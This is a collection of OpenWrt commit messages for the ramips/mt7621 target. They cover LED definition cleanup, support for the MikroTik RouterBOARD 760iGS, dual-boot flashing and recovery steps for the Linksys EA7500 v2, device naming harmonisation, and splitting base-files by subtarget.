[fix device definition title]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
While we mostly use the ucidef_set_led_* functions directly in 01_leds
we still have the set_wifi_led function in parallel for several old
devices. This is not only inconsistent with the other definitions,
it also links to the wlan0 interface instead of using a phy trigger
which would be independent of the interface name (and is used for
all newer devices anyway). Apart from that, the standard names
"wifi" and "wifi-led" are not very helpful in a world with different
radio bands either.
Thus, this patch removes the set_wifi_led function and puts the
relevant commands into the cases explicitly. This makes the
mechanism used more evident and will hopefully lead to some future
improvements or at least prevent some copy-pasting of the old
setups.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
In ramips, it's not common to use an alias for specifying the WiFi
LED; actually only one device uses this mechanism (TL-WR841N v14).
Particularly since the WiFi LEDs are typically distinguished between
2.4G and 5G etc. it is also not very useful for this target.
Thus, this patch removes the setup lines for this mechanism and
converts the TL-WR841N v14 to the normal setup.

Like in the previous patch for ath79 target, this will remove the
"devicename" from LED labels in ramips as well.
The devicename is removed in DTS files and 01_leds, consolidation
of definitions into DTSI files is done where (easily) possible,
and migration scripts are updated.
For the latter, all existing definitions were actually just
devicename migrations anyway. Therefore, those are removed and
a common migration file is created in target base-files. This is
actually another example of how the devicename removal makes things
easier.

This might fail due to the A/B nature of this device. When flashing, OEM
firmware writes over the non-booted partition. If booted from 'A',
flashing over 'B' won't work. To get around this, you should flash the
OEM image over itself. This will then boot the router from 'B' and
allow you to flash OpenWRT without problems.
Reverting to factory firmware:
Hard-reset the router three times to force it to boot from 'B.' This is
where the stock firmware resides. To remove any traces of OpenWRT from
your router simply flash the OEM image at this point.

This patch adds support for the MikroTik RouterBOARD 760iGS router.
It is similar to the already supported RouterBOARD 750Gr3.
The 760iGS device features an added SFP cage, and passive
PoE out on port 5 compared to the RB750Gr3.
https://mikrotik.com/product/hex_s
Specifications:
- SoC: MediaTek MT7621A
- CPU: 880MHz
- Flash: 16 MB
- RAM: 256 MB
- Ethernet: 5x 10/100/1000 Mbps
- SFP cage
- USB port
- microSD slot
Unsupported:
- Beeper (requires PWM driver)
- ZT2046Q (ADS7846 compatible) on SPI as slave 1 (CS1)
The linux driver requires an interrupt, and pendown GPIO
These are unknown, and not needed with the touchscreen
only used for temperature and voltage monitoring.
ads7846 hwmon:
temp0 is degrees Celsius
temp1 is voltage * 32
GPIOs:
- 07: input passive PoE out (lan5) compatible (Mikrotik) device connected
- 17: output passive PoE out (lan5) switch
Installation through RouterBoot follows the usual MikroTik method
https://openwrt.org/toh/mikrotik/common
To boot to intramfs image in RAM:
1. Setup TFTP server to serve intramfs image.
2. Plug Ethernet cable into WAN port.
3. Unplug power, hold reset button and plug power in.
Wait (~25 seconds) for beep and then release reset button.
The SFP LED will be lit in RouterBoot, but will not be lit in OpenWRT.
4. Wait for a minute. Router should be running OpenWrt,
check by plugging in to port 2-5 and going to 192.168.1.1.
To install OpenWrt to flash:
1. Follow steps above to boot intramfs image in RAM.
2. Flash the sysupgrade.bin image with web interface or sysupgrade.
3. Once the router reboots you will be running OpenWrt from flash.
OEM firmware differences:
- RouterOS assigns a different MAC address for each port
- The first address (E01 on the sticker) is used for wan (ether1 in OEM).
- The next address is used for lan2.
- The last address (E06 on the sticker) is used for sfp.

Unfortunately, I can't find an easy way to recover the RE

TFTP upload will only work if selected from u-boot, which
means you have to open the device and attach to the serial
console. The TFTP update procedure does *not* accept the
published vendor firmware binaries. However, it allows to
flash kernel + rootfs binaries, and this works if you have
a backup of the original contents of the flash. It's probably
possible to create special image out of the vendor binaries
and use that as recovery image.

------------
The “factory” openwrt image can be flashed directly from OEM stock
firmware. After the flash the router will reboot automatically.
However, due to the dual boot system, the first installation could fail
(if you want to know why, read the footnotes).
If the flash succeed and you can reach OpenWrt through the web
interface or ssh, you are done.
Otherwise the router will try to boot 3 times and then will
automatically boot the OEM firmware (don’t turn off the router.
Simply wait and try to reach the router through the web interface
every now and then, it will take few minutes).
After this, you should be back in the OEM firmware.
Now you have to flash the OEM Firmware over itself using the OEM web
interface (I tested it using the FW_EA7500v2_2.0.8.194281_prod.img
downloaded from the Linksys website).
When the router reboots flash the “factory” OpenWrt image and this
time it should work.
After the OpenWrt installation you have to use the sysupgrade image
for future updates.
Restore OEM Firmware
--------------------
After the OpenWrt flash, the OEM firmware is still stored in the
second partition thanks to the dual boot system.
You can switch from OpenWrt to OEM firmware and vice-versa failing
the boot 3 times in a row:
1) power on the router
2) wait 15 seconds
3) power off the router
4) repeat steps 1-2-3 twice more.
5) power on the router and you should be in the “other” firmware
If you want to completely remove OpenWrt from your router, switch to
the OEM firmware and then flash OEM firmware from the web interface
as a normal update.
This procedure will overwrite the OpenWrt partition.
Footnotes
---------
The Linksys EA7500-v2 has a dual boot system to avoid bricks.
This system works using 2 pair of partitions:
1) "kernel" and "rootfs"
2) "alt_kernel" and "alt_rootfs".
After 3 failed boot attempts, the bootloader tries to boot the other
pair of partitions and so on.
This system is managed by the bootloader, which writes a bootcount in
the s_env partition, and if successfully booted, the system add a
"zero-bootcount" after the previous value.
A system update performed from OEM firmware, writes the firmware on the
other pair of partitions and sets the bootloader to boot the new pair
of partitions editing the “boot_part” variable in the bootloader vars.
Effectively it's a quick and safe system to switch the selected boot
partition.
Another way to switch the boot partition is:
1) power on the router
2) wait 15 seconds
3) power off the router
4) repeat steps 1-2-3 twice more.
5) power on the router and you should be in the “other” firmware
In this OpenWrt port, this dual boot system is partially working
because the bootloader sets the right rootfs partition in the cmdline
but unfortunately OpenWrt for ramips platform overwrites the cmdline
so is not possible to detect the right rootfs partition.
Because all of this, I preferred to simply use the first pair of
partitions and set read-only the other pair.
However this solution is not optimal because is not possible to know
without opening the case which is the current booted partition.
Let’s take for example a router booting the OEM firmware from the first
pair of partitions. If we flash the OpenWrt image, it will be written
on the second pair. In this situation the router will bootloop 3 times
and then will automatically come back to the first pair of partitions
containg the OEM firmware.
In this situation, to flash OpenWrt correctly is necessary to switch
the booting partition, flashing again the OEM firmware over itself.
At this point the OEM firmware is on both pair of partitions but the
current booted pair is the second one.
Now, flashing the OpenWrt factory image will write the firmware on
the first pair and then will boot correctly.
If this limitation in the ramips platform about the cmdline will be
fixed, the dual boot system can also be implemented in OpenWrt with
almost no effort.

So far, image/device/board names for Mikrotik devices in mt7621 have
been used quite inconsistently.
This patch harmonizes the naming scheme by applying the same style
as used lately in ath79, i.e. using "RouterBOARD" as separate word
in the model name (instead of RB prefix for the number) and deriving
the board/device name from that (= make lower case and replace spaces
by hyphens).
This style has already been used for most the model/DEVICE_MODEL
variables in mt7621, so this is essentially just adjusting the remaining
variables to that.

While most of the target's contents are split into subtargets, the
base-files are maintained for the target as a whole.
However, OpenWrt already implements a mechanism that will use (and
even prefer) files in the subtargets' directories. This can be
exploited to make several scripts subtarget-specific and thus save
some space.
In certain cases, keeping files in parent (=target) base-files was
more convenient, and thus no splitting was performed for those.
Note that this will increase overall code lines, but reduce code
per subtarget.
base-files ipk size reduction:
master (mt7621) 60958 B
split (mt7620) 46358 B (- 14.3 kiB)
